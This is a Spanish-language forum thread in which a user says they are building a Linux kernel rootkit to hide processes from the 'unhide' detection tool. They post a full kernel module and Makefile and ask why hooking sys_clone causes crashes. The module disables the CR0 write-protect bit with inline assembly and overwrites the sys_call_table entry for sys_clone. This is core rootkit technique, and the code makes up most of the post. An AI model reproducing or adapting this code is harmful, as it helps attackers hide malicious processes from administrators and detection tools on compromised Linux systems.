No consigo hookear sys_clone en Linux Kernel sin que falle

Iniciado por D1W0U, Febrero 22, 2018, 08:30:51 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Hola a tod@s,

soy nuevo, y este es mi primer post. Así que aprovecho para preguntar si hay algún lugar donde saludar los nuevos. Y si no, pues encantado de estar aquí.

Os comento mi pregunta primero. Yo estoy haciendo un rootkit genérico para Linux Kernel 4.x. Y quiero hookear las syscalls de gestión de procesos, porque intentamos hacer un bypass de una utilidad llamada unhide, que genera muchos hijos hasta que el contador de PIDs hace overflow y vuelve a empezar. Lo que hace, es que tras varios overflows, compara los PIDs de los hijos, con los PIDs visibles. Y al final, el PID que se repite que no adquiere ningún hijo, está oculto. Con un margen de error aceptable.

La idea es hookear sys_clone para probar una idea que tenemos en mente un compañero y yo. Además de todas la API de gestión de procesos, como ya os he dicho.

El problema es que hay algo extraño con la función _do_fork, que cuando se llama a sys_clone desde el manejador my_clone64, algo ocurre en la pila que cuando retorna al espacio de usuario, en posteriores llamadas a wait() dá una violación de segmento.

Esto no me ha pasado con ninguna syscall. Y sys_fork y sys_vfork las puedo hookear bien. No dá problemas.

Aquí tenéis un enlace al código completo de rootkit No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, que quiero presentar aquí también, cuando haya hecho la primera release.
Y también os copio un módulo para kernel de Linux que demuestra el problema, por si queréis investigar, sin necesidad de recurrir al frondoso proyecto:


Código: c
#include <linux/module.h>
#include <linux/pid.h>
#include <linux/pid_namespace.h>
#include <linux/kallsyms.h>
#include <linux/uaccess.h>

void **sys_call_table = NULL;
asmlinkage long (*sys_read)(long a1, long a2, long a3, long a4, long a5, long a6) = NULL;
asmlinkage long (*sys_clone)(long a1, long a2, long a3, long a4, long a5, long a6) = NULL;
asmlinkage long my_clone64(long a1, long a2, long a3, long a4, long a5, long a6);

char *sct_str;

module_param(sct_str, charp, 0);

inline void disable_wp(void) {
        asm("cli\n\tmov\t%cr0, %rax\n\tand\t$0xfffffffffffeffff, %rax\n\tmov\t%rax, %cr0\n\tsti");
}

inline void enable_wp(void) {
        asm("cli\n\tmov\t%cr0, %rax\n\tor\t$0x10000, %rax\n\tmov\t%rax, %cr0\n\tsti");
}

int init_module(void) {
        int ret = 0;
        mm_segment_t old_fs;

        kstrtoul(sct_str, 16, (unsigned long *) &sys_call_table);
        printk("%lx\n", sys_call_table);

        if (!sys_call_table) {
                return -1;
        }

        sys_read = sys_call_table[__NR_read];
        sys_clone = sys_call_table[__NR_clone];

        // hook sys_clone
        printk("be\n");
        disable_wp();
        sys_call_table[__NR_clone] = my_clone64;
        enable_wp();
        printk("af\n");

        // wait user's ENTER
        old_fs = get_fs();
        set_fs(KERNEL_DS);
        sys_read(0, (long)&ret, 1, 0, 0, 0);
        set_fs(old_fs);

        // restore sys_clone
        disable_wp();
        sys_call_table[__NR_clone] = sys_clone;
        enable_wp();

        return -1;
}

void cleanup_module(void) {
}


asmlinkage long my_clone64(long a1, long a2, long a3, long a4, long a5, long a6) {
        long ret = 0;

        ret = sys_clone(a1, a2, a3, a4, a5, a6);
        return ret;
}

MODULE_LICENSE("GPL");


Y aquí el Makefile:

Código: text
obj-m += so.o

KERNEL_HEADERS = /lib/modules/$(shell uname -r)/build

all:
        make V=1 -C $(KERNEL_HEADERS) M=$(PWD) modules

clean:
        make V=1 -C $(KERNEL_HEADERS) M=$(PWD) clean


Llamad al código 'os.c' y compilad con make.

Gracias de antemano.

Para el que le interese, ya lo he conseguido.

El método/respuesta está en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Gracias igualmente.